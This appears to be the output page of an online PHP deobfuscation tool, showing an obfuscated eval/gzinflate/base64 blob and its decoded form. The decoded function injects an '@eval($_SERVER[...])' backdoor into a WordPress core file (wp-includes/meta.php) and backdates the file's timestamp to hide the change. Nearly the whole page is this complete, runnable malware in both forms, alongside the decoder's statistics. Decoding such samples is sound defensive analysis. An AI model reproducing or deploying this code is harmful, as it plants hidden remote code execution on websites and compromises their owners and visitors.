Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(gzinflate(base64_decode("jVJtb5swEP6eX8GkSCRqNUHSpIqmaWui0qYJpSWNY5imCIwpL8ZQMElg6n+f..
Decoded Output download
phpConfValidate('YTo0OntpOjA7czo1NjoiL2hvbWU0L2FjY3VyYXk2L3B1YmxpY19odG1sL2Rpcm1hcmsvd3AtaW5jbHVkZXMvbWV0YS5waHAiO2k6MTtzOjk4OiJ+ZXZhbFteXChcblxyXSpcKFteXCRdKlwkX1tBLVpdezZ9W15cW10qXFtbXlwnXCJdKltcJ1wiXUhUVFBfMzM2MjRBRVtcJ1wiXVteXF1dKlxdW15cKV0qXClbXjtdKjt+cyI7aToyO3M6MzI6IkBldmFsKCRfU0VSVkVSWydIVFRQXzMzNjI0QUUnXSk7IjtpOjM7czozMzoifl5ccypmdW5jdGlvblxzK3VwZGF0ZV9tZXRhZGF0YX5tIjt9');
function phpConfValidate($ser) {
list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
$source = file_get_contents($fullPath);
if (preg_match($systemEnv, $source)) {
return;
}
if (!preg_match($pattern, $source, $matches)) {
return;
}
$incorrectRegex = str_replace('e' . 'va' . 'l', '@?arr' . 'ay', $systemEnv);
$newSource = preg_replace($incorrectRegex, '', $source);
$newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $newSource);
if (!preg_match($systemEnv, $newSource)) {
return;
}
$filemtime = filemtime($fullPath) + 10;
unlink($fullPath);
file_put_contents($fullPath, $newSource);
touch($fullPath, $filemtime);
}
Did this file decode correctly?
Original Code
eval(gzinflate(base64_decode("jVJtb5swEP6eX8GkSCRqNUHSpIqmaWui0qYJpSWNY5imCIwpL8ZQMElg6n+fIa99kTZ/wGfunufunrtG4iWjmLrAIr5jMdwSjadY0ihLtODqEpWxfB/E/rTjrezFXJp2lMDogsKAYWfaHcpGtEkMeRA7N3I27egJimQPRdnK6V4xa9EL7FsQmlDlWCAZs97aur3ytU7YV59YqQXhhebfnZnQ9GyFYTjykE02BZwlaFK/dWdC1iGU2XAKEgeX5mAh99BCll6gwmxI1hSO7ngMQ3fy2odzbw6UoauWakcN9KEOdv8B51JkHrdxKvwEcPyI2DBgziRgZ6gYX1pPcaF11b5ajvvjcEicSMkmI92dS2AGQjBbFM4YKPojLNXyPhhLj/M5hbPwchxUOqmVTtwT+y7pIVQkkcN7d27IivdTTrpgbd4okgkGzIS6V9kG7DGOHYjtbw03p4j5MRXeT6KZ4bQt/Gk0BH6InzGh1XRzQh4s5p0LzazIGI6u6YrbKHYwvxKLMZzStvBdyClH+5yqxC3bynD/YungKmxLy/NWrM0szlOEebzrE7x8xmyJYsowZdkx1y7Wd4VWkuLnZWQx5LXe5N/StKtqhd1JMctTuoW+Hgi+nDLsyj3guVF7cPYPpm3tPkVxmmLEdPyMN7yHjKXLFCfEQnyNsSh8FcSVVV9EPBfEnz+sNK2fViGeCrgXg+L1bK9HXeee7F0qziUem/4EfFrIvqVf0u/doHgFD7cPy2ttyq237gPJjvX4+SDeqfxH2P/oVo06Yn60H3ttn4xbOBNkaQvLKfFp+GEV6mVJ8s+W5ZMmWJxXBZ9EHLLyiNfGXw==")));
Function Calls
base64_decode | 1 |
gzinflate | 1 |
phpConfValidate | 1 |
Stats
MD5 | 8689934509e73003ce3ab856d26a1d62 |
Eval Count | 1 |
Decode Time | 72 ms |